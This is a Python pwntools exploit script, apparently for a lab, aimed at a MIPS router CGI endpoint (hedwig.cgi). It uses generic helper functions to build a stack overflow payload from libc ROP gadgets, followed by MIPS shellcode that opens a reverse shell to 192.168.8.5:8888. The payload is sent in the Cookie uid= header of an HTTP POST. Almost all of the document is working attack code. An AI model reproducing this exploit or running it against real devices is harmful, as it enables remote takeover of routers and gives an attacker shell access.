1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| from pwn import * import requests
def stre(a) : return str(a).encode() def ph(a,b="addr") : print(b+": "+hex(a)) def re(a) : return p.recv(a) def pre(a) : print(p.recv(a)) def reu(a,b=False) : return p.recvuntil(a,drop=b) def rel() : return p.recvline() def se(a) : p.send(a) def sea(a,b) : p.sendafter(a,b) def sel(a) : p.sendline(a) def sela(a,b) : p.sendlineafter(a,b) def op() : p.interactive() def cp() : p.close() def raddr64() : return u64(p.recv(6).ljust(8,b'\x00')) def raddr32() : return u32(p.recv(4)) def raddr_T() : return int(re(14),16) def raddr_A() : return int(reu(b"-",True),16) def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr): orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(read_addr) orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) orw+= p64(write_addr) return orw def getorw(name,buf,Arch) : sh=shellcraft.open(name) sh+=shellcraft.read(3,buf,0x30) sh+=shellcraft.write(1,buf,0x30) sh=asm(sh,arch=Arch) return sh def gdbp(p,a='') : if a!='': gdb.attach(p,a) pause() else : gdb.attach(p) pause()
context.arch = 'mips' context.os = 'linux'
libc_base = 0x77f34000
payload = b'A'*0x3cd payload+= b'A'*4 payload+= p32(libc_base + 0x436D0) payload+= b'A'*4 payload+= p32(libc_base + 0x56BD0) payload+= b'A'*(4*5) payload+= p32(libc_base + 0x57E50)
payload+= b'A'*0x18 payload+= b'A'*(4*4) payload+= p32(libc_base + 0x37E6C) payload+= p32(libc_base + 0x3B974)
shellcode = asm(''' slti $a0, $zero, 0xFFFF li $v0, 4006 syscall 0x42424
slti $a0, $zero, 0x1111 li $v0, 4006 syscall 0x42424
li $t4, 0xFFFFFFFD not $a0, $t4 li $v0, 4006 syscall 0x42424
li $t4, 0xFFFFFFFD not $a0, $t4 not $a1, $t4 slti $a2, $zero, 0xFFFF li $v0, 4183 syscall 0x42424
andi $a0, $v0, 0xFFFF li $v0, 4041 syscall 0x42424 li $v0, 4041 syscall 0x42424
lui $a1, 0xB821 # Port: 8888 ori $a1, 0xFF01 addi $a1, $a1, 0x0101 sw $a1, -8($sp)
li $a1, 0x0508A8C0 # IP: 192.168.8.5 sw $a1, -4($sp) addi $a1, $sp, -8
li $t4, 0xFFFFFFEF not $a2, $t4 li $v0, 4170 syscall 0x42424
lui $t0, 0x6962 ori $t0, $t0,0x2f2f sw $t0, -20($sp)
lui $t0, 0x6873 ori $t0, 0x2f6e sw $t0, -16($sp)
slti $a3, $zero, 0xFFFF sw $a3, -12($sp) sw $a3, -4($sp)
addi $a0, $sp, -20 addi $t0, $sp, -20 sw $t0, -8($sp) addi $a1, $sp, -8
addiu $sp, $sp, -20
slti $a2, $zero, 0xFFFF li $v0, 4011 syscall 0x42424 ''') payload+= b'a'*0x18 payload+= shellcode
url = "http://192.168.8.6:8080/hedwig.cgi" data = {"A" : "A"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "3" } res = requests.post(url = url, headers = headers, data = data) print(res)
|